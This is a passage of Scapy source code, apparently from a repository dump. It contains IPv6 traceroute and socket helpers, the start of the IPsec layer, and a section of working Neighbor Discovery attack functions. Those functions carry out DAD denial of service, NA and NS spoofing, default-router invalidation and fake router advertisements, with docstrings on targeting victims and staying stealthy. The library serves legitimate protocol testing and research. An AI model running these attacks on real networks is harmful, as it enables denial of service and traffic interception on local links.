\"{ICMPv6EchoReply:%ir,type%}\")))  # noqa: E501\n\n    def get_trace(self):\n        trace = {}\n\n        for s, r in self.res:\n            if IPv6 not in s:\n                continue\n            d = s[IPv6].dst\n            if d not in trace:\n                trace[d] = {}\n\n            t = not (ICMPv6TimeExceeded in r or\n                     ICMPv6DestUnreach in r or\n                     ICMPv6PacketTooBig in r or\n                     ICMPv6ParamProblem in r)\n\n            trace[d][s[IPv6].hlim] = r[IPv6].src, t\n\n        for k in trace.values():\n            try:\n                m = min(x for x, y in k.items() if y[1])\n            except ValueError:\n                continue\n            for li in list(k):  # use list(): k is modified in the loop\n                if li > m:\n                    del k[li]\n\n        return trace\n\n    def graph(self, ASres=AS_resolver6(), **kargs):\n        TracerouteResult.graph(self, ASres=ASres, **kargs)\n\n\n@conf.commands.register\ndef traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),\n                l4=None, timeout=2, verbose=None, **kargs):\n    \"\"\"Instant TCP traceroute using IPv6\n    traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None\n    \"\"\"\n    if verbose is None:\n        verbose = conf.verb\n\n    if l4 is None:\n        a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport),  # noqa: E501\n                  timeout=timeout, filter=\"icmp6 or tcp\", verbose=verbose, **kargs)  # noqa: E501\n    else:\n        a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4,\n                  timeout=timeout, verbose=verbose, **kargs)\n\n    a = TracerouteResult6(a.res)\n\n    if verbose:\n        a.show()\n\n    return a, b\n\n#############################################################################\n#############################################################################\n#                                  Sockets                                  #\n#############################################################################\n#############################################################################\n\n\nif not WINDOWS:\n    from scapy.supersocket import L3RawSocket\n\n    class L3RawSocket6(L3RawSocket):\n        def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0):  # noqa: E501\n            # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)  # noqa: E501\n            self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)  # noqa: E501\n            self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501\n            self.iface = iface\n\n\ndef IPv6inIP(dst='203.178.135.36', src=None):\n    _IPv6inIP.dst = dst\n    _IPv6inIP.src = src\n    if not conf.L3socket == _IPv6inIP:\n        _IPv6inIP.cls = conf.L3socket\n    else:\n        del conf.L3socket\n    return _IPv6inIP\n\n\nclass _IPv6inIP(SuperSocket):\n    dst = '127.0.0.1'\n    src = None\n    cls = None\n\n    def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args):  # noqa: E501\n        SuperSocket.__init__(self, family, type, proto)\n        self.worker = self.cls(**args)\n\n    def set(self, dst, src=None):\n        _IPv6inIP.src = src\n        _IPv6inIP.dst = dst\n\n    def nonblock_recv(self):\n        p = self.worker.nonblock_recv()\n        return self._recv(p)\n\n    def recv(self, x):\n        p = self.worker.recv(x)\n        return self._recv(p, x)\n\n    def _recv(self, p, x=MTU):\n        if p is None:\n            return p\n        elif isinstance(p, IP):\n            # TODO: verify checksum\n            if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:\n                if isinstance(p.payload, IPv6):\n                    return p.payload\n        return p\n\n    def send(self, x):\n        return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x)  # noqa: E501\n\n\n#############################################################################\n#############################################################################\n#                    Neighbor Discovery Protocol Attacks                    #\n#############################################################################\n#############################################################################\n\ndef _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,\n                        tgt_filter=None, reply_mac=None):\n    \"\"\"\n    Internal generic helper accepting a specific callback as first argument,\n    for NS or NA reply. See the two specific functions below.\n    \"\"\"\n\n    def is_request(req, mac_src_filter, tgt_filter):\n        \"\"\"\n        Check if packet req is a request\n        \"\"\"\n\n        # Those simple checks are based on Section 5.4.2 of RFC 4862\n        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):\n            return 0\n\n        # Get and compare the MAC address\n        mac_src = req[Ether].src\n        if mac_src_filter and mac_src != mac_src_filter:\n            return 0\n\n        # Source must be the unspecified address\n        if req[IPv6].src != \"::\":\n            return 0\n\n        # Check destination is the link-local solicited-node multicast\n        # address associated with target address in received NS\n        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)\n        if tgt_filter and tgt != tgt_filter:\n            return 0\n        received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)\n        expected_snma = in6_getnsma(tgt)\n        if received_snma != expected_snma:\n            return 0\n\n        return 1\n\n    if not iface:\n        iface = conf.iface\n\n    # To prevent sniffing our own traffic\n    if not reply_mac:\n        reply_mac = get_if_hwaddr(iface)\n    sniff_filter = \"icmp6 and not ether src %s\" % reply_mac\n\n    sniff(store=0,\n          filter=sniff_filter,\n          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),\n          prn=lambda x: reply_callback(x, reply_mac, iface),\n          iface=iface)\n\n\ndef NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,\n                              reply_mac=None):\n    \"\"\"\n    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC\n    3756. This is done by listening incoming NS messages sent from the\n    unspecified address and sending a NS reply for the target address,\n    leading the peer to believe that another node is also performing DAD\n    for that address.\n\n    By default, the fake NS sent to create the DoS uses:\n     - as target address the target address found in received NS.\n     - as IPv6 source address: the unspecified address (::).\n     - as IPv6 destination address: the link-local solicited-node multicast\n       address derived from the target address in received NS.\n     - the mac address of the interface as source (or reply_mac, see below).\n     - the multicast mac address derived from the solicited node multicast\n       address used as IPv6 destination address.\n\n    Following arguments can be used to change the behavior:\n\n    iface: a specific interface (e.g. \"eth0\") of the system on which the\n         DoS should be launched. If None is provided conf.iface is used.\n\n    mac_src_filter: a mac address (e.g \"00:13:72:8c:b5:69\") to filter on.\n         Only NS messages received from this source will trigger replies.\n         This allows limiting the effects of the DoS to a single target by\n         filtering on its mac address. The default value is None: the DoS\n         is not limited to a specific mac address.\n\n    tgt_filter: Same as previous but for a specific target IPv6 address for\n         received NS. If the target address in the NS message (not the IPv6\n         destination address) matches that address, then a fake reply will\n         be sent, i.e. the emitter will be a target of the DoS.\n\n    reply_mac: allow specifying a specific source mac address for the reply,\n         i.e. to prevent the use of the mac address of the interface.\n    \"\"\"\n\n    def ns_reply_callback(req, reply_mac, iface):\n        \"\"\"\n        Callback that reply to a NS by sending a similar NS\n        \"\"\"\n\n        # Let's build a reply and send it\n        mac = req[Ether].src\n        dst = req[IPv6].dst\n        tgt = req[ICMPv6ND_NS].tgt\n        rep = Ether(src=reply_mac) / IPv6(src=\"::\", dst=dst) / ICMPv6ND_NS(tgt=tgt)  # noqa: E501\n        sendp(rep, iface=iface, verbose=0)\n\n        print(\"Reply NS for target address %s (received from %s)\" % (tgt, mac))\n\n    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,\n                        tgt_filter, reply_mac)\n\n\ndef NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,\n                              reply_mac=None):\n    \"\"\"\n    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC\n    3756. This is done by listening incoming NS messages *sent from the\n    unspecified address* and sending a NA reply for the target address,\n    leading the peer to believe that another node is also performing DAD\n    for that address.\n\n    By default, the fake NA sent to create the DoS uses:\n     - as target address the target address found in received NS.\n     - as IPv6 source address: the target address found in received NS.\n     - as IPv6 destination address: the link-local solicited-node multicast\n       address derived from the target address in received NS.\n     - the mac address of the interface as source (or reply_mac, see below).\n     - the multicast mac address derived from the solicited node multicast\n       address used as IPv6 destination address.\n     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled\n       with the mac address used as source of the NA.\n\n    Following arguments can be used to change the behavior:\n\n    iface: a specific interface (e.g. \"eth0\") of the system on which the\n          DoS should be launched. If None is provided conf.iface is used.\n\n    mac_src_filter: a mac address (e.g \"00:13:72:8c:b5:69\") to filter on.\n         Only NS messages received from this source will trigger replies.\n         This allows limiting the effects of the DoS to a single target by\n         filtering on its mac address. The default value is None: the DoS\n         is not limited to a specific mac address.\n\n    tgt_filter: Same as previous but for a specific target IPv6 address for\n         received NS. If the target address in the NS message (not the IPv6\n         destination address) matches that address, then a fake reply will\n         be sent, i.e. the emitter will be a target of the DoS.\n\n    reply_mac: allow specifying a specific source mac address for the reply,\n         i.e. to prevent the use of the mac address of the interface. This\n         address will also be used in the Target Link-Layer Address option.\n    \"\"\"\n\n    def na_reply_callback(req, reply_mac, iface):\n        \"\"\"\n        Callback that reply to a NS with a NA\n        \"\"\"\n\n        # Let's build a reply and send it\n        mac = req[Ether].src\n        dst = req[IPv6].dst\n        tgt = req[ICMPv6ND_NS].tgt\n        rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst)\n        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)  # noqa: E741\n        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)\n        sendp(rep, iface=iface, verbose=0)\n\n        print(\"Reply NA for target address %s (received from %s)\" % (tgt, mac))\n\n    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,\n                        tgt_filter, reply_mac)\n\n\ndef NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,\n                           reply_mac=None, router=False):\n    \"\"\"\n    The main purpose of this function is to send fake Neighbor Advertisement\n    messages to a victim. As the emission of unsolicited Neighbor Advertisement\n    is pretty pointless (from an attacker standpoint) because it will not\n    lead to a modification of a victim's neighbor cache, the function send\n    advertisements in response to received NS (NS sent as part of the DAD,\n    i.e. with an unspecified address as source, are not considered).\n\n    By default, the fake NA sent to create the DoS uses:\n     - as target address the target address found in received NS.\n     - as IPv6 source address: the target address\n     - as IPv6 destination address: the source IPv6 address of received NS\n       message.\n     - the mac address of the interface as source (or reply_mac, see below).\n     - the source mac address of the received NS as destination macs address\n       of the emitted NA.\n     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)\n       filled with the mac address used as source of the NA.\n\n    Following arguments can be used to change the behavior:\n\n    iface: a specific interface (e.g. \"eth0\") of the system on which the\n          DoS should be launched. If None is provided conf.iface is used.\n\n    mac_src_filter: a mac address (e.g \"00:13:72:8c:b5:69\") to filter on.\n         Only NS messages received from this source will trigger replies.\n         This allows limiting the effects of the DoS to a single target by\n         filtering on its mac address. The default value is None: the DoS\n         is not limited to a specific mac address.\n\n    tgt_filter: Same as previous but for a specific target IPv6 address for\n         received NS. If the target address in the NS message (not the IPv6\n         destination address) matches that address, then a fake reply will\n         be sent, i.e. the emitter will be a target of the DoS.\n\n    reply_mac: allow specifying a specific source mac address for the reply,\n         i.e. to prevent the use of the mac address of the interface. This\n         address will also be used in the Target Link-Layer Address option.\n\n    router: by the default (False) the 'R' flag in the NA used for the reply\n         is not set. If the parameter is set to True, the 'R' flag in the\n         NA is set, advertising us as a router.\n\n    Please, keep the following in mind when using the function: for obvious\n    reasons (kernel space vs. Python speed), when the target of the address\n    resolution is on the link, the sender of the NS receives 2 NA messages\n    in a row, the valid one and our fake one. The second one will overwrite\n    the information provided by the first one, i.e. the natural latency of\n    Scapy helps here.\n\n    In practice, on a common Ethernet link, the emission of the NA from the\n    genuine target (kernel stack) usually occurs in the same millisecond as\n    the receipt of the NS. The NA generated by Scapy6 will usually come after\n    something 20+ ms. On a usual testbed for instance, this difference is\n    sufficient to have the first data packet sent from the victim to the\n    destination before it even receives our fake NA.\n    \"\"\"\n\n    def is_request(req, mac_src_filter, tgt_filter):\n        \"\"\"\n        Check if packet req is a request\n        \"\"\"\n\n        # Those simple checks are based on Section 5.4.2 of RFC 4862\n        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):\n            return 0\n\n        mac_src = req[Ether].src\n        if mac_src_filter and mac_src != mac_src_filter:\n            return 0\n\n        # Source must NOT be the unspecified address\n        if req[IPv6].src == \"::\":\n            return 0\n\n        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)\n        if tgt_filter and tgt != tgt_filter:\n            return 0\n\n        dst = req[IPv6].dst\n        if in6_isllsnmaddr(dst):  # Address is Link Layer Solicited Node mcast.\n\n            # If this is a real address resolution NS, then the destination\n            # address of the packet is the link-local solicited node multicast\n            # address associated with the target of the NS.\n            # Otherwise, the NS is a NUD related one, i.e. the peer is\n            # unicasting the NS to check the target is still alive (L2\n            # information is still in its cache and it is verified)\n            received_snma = inet_pton(socket.AF_INET6, dst)\n            expected_snma = in6_getnsma(tgt)\n            if received_snma != expected_snma:\n                print(\"solicited node multicast @ does not match target @!\")\n                return 0\n\n        return 1\n\n    def reply_callback(req, reply_mac, router, iface):\n        \"\"\"\n        Callback that reply to a NS with a spoofed NA\n        \"\"\"\n\n        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and\n        # send it back.\n        mac = req[Ether].src\n        pkt = req[IPv6]\n        src = pkt.src\n        tgt = req[ICMPv6ND_NS].tgt\n        rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src)\n        # Use the target field from the NS\n        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1)  # noqa: E741\n\n        # \"If the solicitation IP Destination Address is not a multicast\n        # address, the Target Link-Layer Address option MAY be omitted\"\n        # Given our purpose, we always include it.\n        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)\n\n        sendp(rep, iface=iface, verbose=0)\n\n        print(\"Reply NA for target address %s (received from %s)\" % (tgt, mac))\n\n    if not iface:\n        iface = conf.iface\n    # To prevent sniffing our own traffic\n    if not reply_mac:\n        reply_mac = get_if_hwaddr(iface)\n    sniff_filter = \"icmp6 and not ether src %s\" % reply_mac\n\n    router = 1 if router else 0  # Value of the R flags in NA\n\n    sniff(store=0,\n          filter=sniff_filter,\n          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),\n          prn=lambda x: reply_callback(x, reply_mac, router, iface),\n          iface=iface)\n\n\ndef NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target=\"2001:db8::1\",\n                           dst=None, src_mac=None, dst_mac=None, loop=True,\n                           inter=1, iface=None):\n    \"\"\"\n    The main purpose of this function is to send fake Neighbor Solicitations\n    messages to a victim, in order to either create a new entry in its neighbor\n    cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated\n    that a node SHOULD create the entry or update an existing one (if it is not\n    currently performing DAD for the target of the NS). The entry's reachability  # noqa: E501\n    state is set to STALE.\n\n    The two main parameters of the function are the source link-layer address\n    (carried by the Source Link-Layer Address option in the NS) and the\n    source address of the packet.\n\n    Unlike some other NDP_Attack_* function, this one is not based on a\n    stimulus/response model. When called, it sends the same NS packet in loop\n    every second (the default)\n\n    Following arguments can be used to change the format of the packets:\n\n    src_lladdr: the MAC address used in the Source Link-Layer Address option\n         included in the NS packet. This is the address that the peer should\n         associate in its neighbor cache with the IPv6 source address of the\n         packet. If None is provided, the mac address of the interface is\n         used.\n\n    src: the IPv6 address used as source of the packet. If None is provided,\n         an address associated with the emitting interface will be used\n         (based on the destination address of the packet).\n\n    target: the target address of the NS packet. If no value is provided,\n         a dummy address (2001:db8::1) is used. The value of the target\n         has a direct impact on the destination address of the packet if it\n         is not overridden. By default, the solicited-node multicast address\n         associated with the target is used as destination address of the\n         packet. Consider specifying a specific destination address if you\n         intend to use a target address different than the one of the victim.\n\n    dst: The destination address of the NS. By default, the solicited node\n         multicast address associated with the target address (see previous\n         parameter) is used if no specific value is provided. The victim\n         is not expected to check the destination address of the packet,\n         so using a multicast address like ff02::1 should work if you want\n         the attack to target all hosts on the link. On the contrary, if\n         you want to be more stealth, you should provide the target address\n         for this parameter in order for the packet to be sent only to the\n         victim.\n\n    src_mac: the MAC address used as source of the packet. By default, this\n         is the address of the interface. If you want to be more stealth,\n         feel free to use something else. Note that this address is not the\n         that the victim will use to populate its neighbor cache.\n\n    dst_mac: The MAC address used as destination address of the packet. If\n         the IPv6 destination address is multicast (all-nodes, solicited\n         node, ...), it will be computed. If the destination address is\n         unicast, a neighbor solicitation will be performed to get the\n         associated address. If you want the attack to be stealth, you\n         can provide the MAC address using this parameter.\n\n    loop: By default, this parameter is True, indicating that NS packets\n         will be sent in loop, separated by 'inter' seconds (see below).\n         When set to False, a single packet is sent.\n\n    inter: When loop parameter is True (the default), this parameter provides\n         the interval in seconds used for sending NS packets.\n\n    iface: to force the sending interface.\n    \"\"\"\n\n    if not iface:\n        iface = conf.iface\n\n    # Use provided MAC address as source link-layer address option\n    # or the MAC address of the interface if none is provided.\n    if not src_lladdr:\n        src_lladdr = get_if_hwaddr(iface)\n\n    # Prepare packets parameters\n    ether_params = {}\n    if src_mac:\n        ether_params[\"src\"] = src_mac\n\n    if dst_mac:\n        ether_params[\"dst\"] = dst_mac\n\n    ipv6_params = {}\n    if src:\n        ipv6_params[\"src\"] = src\n    if dst:\n        ipv6_params[\"dst\"] = dst\n    else:\n        # Compute the solicited-node multicast address\n        # associated with the target address.\n        tmp = inet_ntop(socket.AF_INET6,\n                        in6_getnsma(inet_pton(socket.AF_INET6, target)))\n        ipv6_params[\"dst\"] = tmp\n\n    pkt = Ether(**ether_params)\n    pkt /= IPv6(**ipv6_params)\n    pkt /= ICMPv6ND_NS(tgt=target)\n    pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)\n\n    sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)\n\n\ndef NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,\n                                   ip_src_filter=None, reply_mac=None,\n                                   tgt_mac=None):\n    \"\"\"\n    The purpose of the function is to monitor incoming RA messages\n    sent by default routers (RA with a non-zero Router Lifetime values)\n    and invalidate them by immediately replying with fake RA messages\n    advertising a zero Router Lifetime value.\n\n    The result on receivers is that the router is immediately invalidated,\n    i.e. the associated entry is discarded from the default router list\n    and destination cache is updated to reflect the change.\n\n    By default, the function considers all RA messages with a non-zero\n    Router Lifetime value but provides configuration knobs to allow\n    filtering RA sent by specific routers (Ethernet source address).\n    With regard to emission, the multicast all-nodes address is used\n    by default but a specific target can be used, in order for the DoS to\n    apply only to a specific host.\n\n    More precisely, following arguments can be used to change the behavior:\n\n    iface: a specific interface (e.g. \"eth0\") of the system on which the\n         DoS should be launched. If None is provided conf.iface is used.\n\n    mac_src_filter: a mac address (e.g \"00:13:72:8c:b5:69\") to filter on.\n         Only RA messages received from this source will trigger replies.\n         If other default routers advertised their presence on the link,\n         their clients will not be impacted by the attack. The default\n         value is None: the DoS is not limited to a specific mac address.\n\n    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter\n         on. Only RA messages received from this source address will trigger\n         replies. If other default routers advertised their presence on the\n         link, their clients will not be impacted by the attack. The default\n         value is None: the DoS is not limited to a specific IPv6 source\n         address.\n\n    reply_mac: allow specifying a specific source mac address for the reply,\n         i.e. to prevent the use of the mac address of the interface.\n\n    tgt_mac: allow limiting the effect of the DoS to a specific host,\n         by sending the \"invalidating RA\" only to its mac address.\n    \"\"\"\n\n    def is_request(req, mac_src_filter, ip_src_filter):\n        \"\"\"\n        Check if packet req is a request\n        \"\"\"\n\n        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):\n            return 0\n\n        mac_src = req[Ether].src\n        if mac_src_filter and mac_src != mac_src_filter:\n            return 0\n\n        ip_src = req[IPv6].src\n        if ip_src_filter and ip_src != ip_src_filter:\n            return 0\n\n        # Check if this is an advertisement for a Default Router\n        # by looking at Router Lifetime value\n        if req[ICMPv6ND_RA].routerlifetime == 0:\n            return 0\n\n        return 1\n\n    def ra_reply_callback(req, reply_mac, tgt_mac, iface):\n        \"\"\"\n        Callback that sends an RA with a 0 lifetime\n        \"\"\"\n\n        # Let's build a reply and send it\n\n        src = req[IPv6].src\n\n        # Prepare packets parameters\n        ether_params = {}\n        if reply_mac:\n            ether_params[\"src\"] = reply_mac\n\n        if tgt_mac:\n            ether_params[\"dst\"] = tgt_mac\n\n        # Basis of fake RA (high pref, zero lifetime)\n        rep = Ether(**ether_params) / IPv6(src=src, dst=\"ff02::1\")\n        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)\n\n        # Add it a PIO from the request ...\n        tmp = req\n        while ICMPv6NDOptPrefixInfo in tmp:\n            pio = tmp[ICMPv6NDOptPrefixInfo]\n            tmp = pio.payload\n            del pio.payload\n            rep /= pio\n\n        # ... and source link layer address option\n        if ICMPv6NDOptSrcLLAddr in req:\n            mac = req[ICMPv6NDOptSrcLLAddr].lladdr\n        else:\n            mac = req[Ether].src\n        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)\n\n        sendp(rep, iface=iface, verbose=0)\n\n        print(\"Fake RA sent with source address %s\" % src)\n\n    if not iface:\n        iface = conf.iface\n    # To prevent sniffing our own traffic\n    if not reply_mac:\n        reply_mac = get_if_hwaddr(iface)\n    sniff_filter = \"icmp6 and not ether src %s\" % reply_mac\n\n    sniff(store=0,\n          filter=sniff_filter,\n          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),\n          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),\n          iface=iface)\n\n\ndef NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,\n                           ip_src_filter=None):\n    \"\"\"\n    The purpose of this function is to send provided RA message at layer 2\n    (i.e. providing a packet starting with IPv6 will not work) in response\n    to received RS messages. In the end, the function is a simple wrapper\n    around sendp() that monitor the link for RS messages.\n\n    It is probably better explained with an example:\n\n      >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()\n      >>> ra /= ICMPv6NDOptPrefixInfo(prefix=\"2001:db8:1::\", prefixlen=64)\n      >>> ra /= ICMPv6NDOptPrefixInfo(prefix=\"2001:db8:2::\", prefixlen=64)\n      >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr=\"00:11:22:33:44:55\")\n      >>> NDP_Attack_Fake_Router(ra, iface=\"eth0\")\n      Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573\n      Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae\n      ...\n\n    Following arguments can be used to change the behavior:\n\n      ra: the RA message to send in response to received RS message.\n\n      iface: a specific interface (e.g. \"eth0\") of the system on which the\n             DoS should be launched. If none is provided, conf.iface is\n             used.\n\n      mac_src_filter: a mac address (e.g \"00:13:72:8c:b5:69\") to filter on.\n         Only RS messages received from this source will trigger a reply.\n         Note that no changes to provided RA is done which imply that if\n         you intend to target only the source of the RS using this option,\n         you will have to set the Ethernet destination address to the same\n         value in your RA.\n         The default value for this parameter is None: no filtering on the\n         source of RS is done.\n\n    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter\n         on. Only RS messages received from this source address will trigger\n         replies. Same comment as for previous argument apply: if you use\n         the option, you will probably want to set a specific Ethernet\n         destination address in the RA.\n    \"\"\"\n\n    def is_request(req, mac_src_filter, ip_src_filter):\n        \"\"\"\n        Check if packet req is a request\n        \"\"\"\n\n        if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):\n            return 0\n\n        mac_src = req[Ether].src\n        if mac_src_filter and mac_src != mac_src_filter:\n            return 0\n\n        ip_src = req[IPv6].src\n        if ip_src_filter and ip_src != ip_src_filter:\n            return 0\n\n        return 1\n\n    def ra_reply_callback(req, iface):\n        \"\"\"\n        Callback that sends an RA in reply to an RS\n        \"\"\"\n\n        src = req[IPv6].src\n        sendp(ra, iface=iface, verbose=0)\n        print(\"Fake RA sent in response to RS from %s\" % src)\n\n    if not iface:\n        iface = conf.iface\n    sniff_filter = \"icmp6\"\n\n    sniff(store=0,\n          filter=sniff_filter,\n          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),\n          prn=lambda x: ra_reply_callback(x, iface),\n          iface=iface)\n\n#############################################################################\n# Pre-load classes                                                         ##\n#############################################################################\n\n\ndef _get_cls(name):\n    return globals().get(name, Raw)\n\n\ndef _load_dict(d):\n    for k, v in d.items():\n        d[k] = _get_cls(v)\n\n\n_load_dict(icmp6ndoptscls)\n_load_dict(icmp6typescls)\n_load_dict(ipv6nhcls)\n\n#############################################################################\n#############################################################################\n#                            Layers binding                                 #\n#############################################################################\n#############################################################################\n\nconf.l3types.register(ETH_P_IPV6, IPv6)\nconf.l3types.register_num2layer(ETH_P_ALL, IPv46)\nconf.l2types.register(31, IPv6)\nconf.l2types.register(DLT_IPV6, IPv6)\nconf.l2types.register(DLT_RAW, IPv46)\nconf.l2types.register_num2layer(DLT_RAW_ALT, IPv46)\nif OPENBSD:\n    conf.l2types.register_num2layer(229, IPv6)\n\nbind_layers(Ether, IPv6, type=0x86dd)\nbind_layers(CookedLinux, IPv6, proto=0x86dd)\nbind_layers(GRE, IPv6, proto=0x86dd)\nbind_layers(SNAP, IPv6, code=0x86dd)\n# AF_INET6 values are platform-dependent. For a detailed explaination, read\n# https://github.com/the-tcpdump-group/libpcap/blob/f98637ad7f086a34c4027339c9639ae1ef842df3/gencode.c#L3333-L3354  # noqa: E501\nif WINDOWS:\n    bind_layers(Loopback, IPv6, type=0x18)\nelse:\n    bind_layers(Loopback, IPv6, type=socket.AF_INET6)\nbind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP)\nbind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP)\nbind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP)\nbind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP)\nbind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6)\nbind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6)\nbind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP)\nbind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE)\n"
  },
  {
    "path": "scapy/layers/ipsec.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2014 6WIND\n\nr\"\"\"\nIPsec layer\n===========\n\nExample of use:\n\n>>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC',\n...                          crypt_key=b'sixteenbytes key')\n>>> p = IP(src='1.1.1.1', dst='2.2.2.2')\n>>> p /= TCP(sport=45012, dport=80)\n>>> p /= Raw('testdata')\n>>> p = IP(raw(p))\n>>> p\n<IP  version=4L ihl=5L tos=0x0 len=48 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x74c2 src=1.1.1.1 dst=2.2.2.2 options=[] |<TCP  sport=45012 dport=http seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x1914 urgptr=0 options=[] |<Raw  load='testdata' |>>>  # noqa: E501\n>>>\n>>> e = sa.encrypt(p)\n>>> e\n<IP  version=4L ihl=5L tos=0x0 len=76 id=1 flags= frag=0L ttl=64 proto=esp chksum=0x747a src=1.1.1.1 dst=2.2.2.2 |<ESP  spi=0xdeadbeef seq=1 data=b'\\xf8\\xdb\\x1e\\x83[T\\xab\\\\\\xd2\\x1b\\xed\\xd1\\xe5\\xc8Y\\xc2\\xa5d\\x92\\xc1\\x05\\x17\\xa6\\x92\\x831\\xe6\\xc1]\\x9a\\xd6K}W\\x8bFfd\\xa5B*+\\xde\\xc8\\x89\\xbf{\\xa9' |>>  # noqa: E501\n>>>\n>>> d = sa.decrypt(e)\n>>> d\n<IP  version=4L ihl=5L tos=0x0 len=48 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x74c2 src=1.1.1.1 dst=2.2.2.2 |<TCP  sport=45012 dport=http seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x1914 urgptr=0 options=[] |<Raw  load='testdata' |>>>  # noqa: E501\n>>>\n>>> d == p\nTrue\n\"\"\"\n\ntry:\n    from math import gcd\nexcept ImportError:\n    from fractions import gcd\nimport os\nimport socket\nimport struct\nimport warnings\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.compat import orb, raw\nfrom scapy.data import IP_PROTOS\nfrom scapy.error import log_loading\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    IntField,\n    PacketField,\n    ShortField,\n    StrField,\n    XByteField,\n    XIntField,\n    XStrField,\n    XStrLenField,\n)\nfrom scapy.packet import (\n    Packet,\n    Raw,\n    bind_bottom_up,\n    bind_layers,\n    bind_top_down,\n)\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \\\n    IPv6ExtHdrRouting\n\n\n###############################################################################\nclass AH(Packet):\n    \"\"\"\n    Authentication Header\n\n    See https://tools.ietf.org/rfc/rfc4302.txt\n    \"\"\"\n\n    name = 'AH'\n\n    def __get_icv_len(self):\n        \"\"\"\n        Compute the size of the ICV based on the payloadlen field.\n        Padding size is included as it can only be known from the authentication  # noqa: E501\n        algorithm provided by the Security Association.\n        \"\"\"\n        # payloadlen = length of AH in 32-bit words (4-byte units), minus \"2\"\n        # payloadlen = 3 32-bit word fixed fields + ICV + padding - 2\n        # ICV = (payloadlen + 2 - 3 - padding) in 32-bit words\n        return (self.payloadlen - 1) * 4\n\n    fields_desc = [\n        ByteEnumField('nh', None, IP_PROTOS),\n        ByteField('payloadlen', None),\n        ShortField('reserved', None),\n        XIntField('spi', 0x00000001),\n        IntField('seq', 0),\n        XStrLenField('icv', None, length_from=__get_icv_len),\n        # Padding len can only be known with the SecurityAssociation.auth_algo\n        XStrLenField('padding', None, length_from=lambda x: 0),\n    ]\n\n    overload_fields = {\n        IP: {'proto': socket.IPPROTO_AH},\n        IPv6: {'nh': socket.IPPROTO_AH},\n        IPv6ExtHdrHopByHop: {'nh': 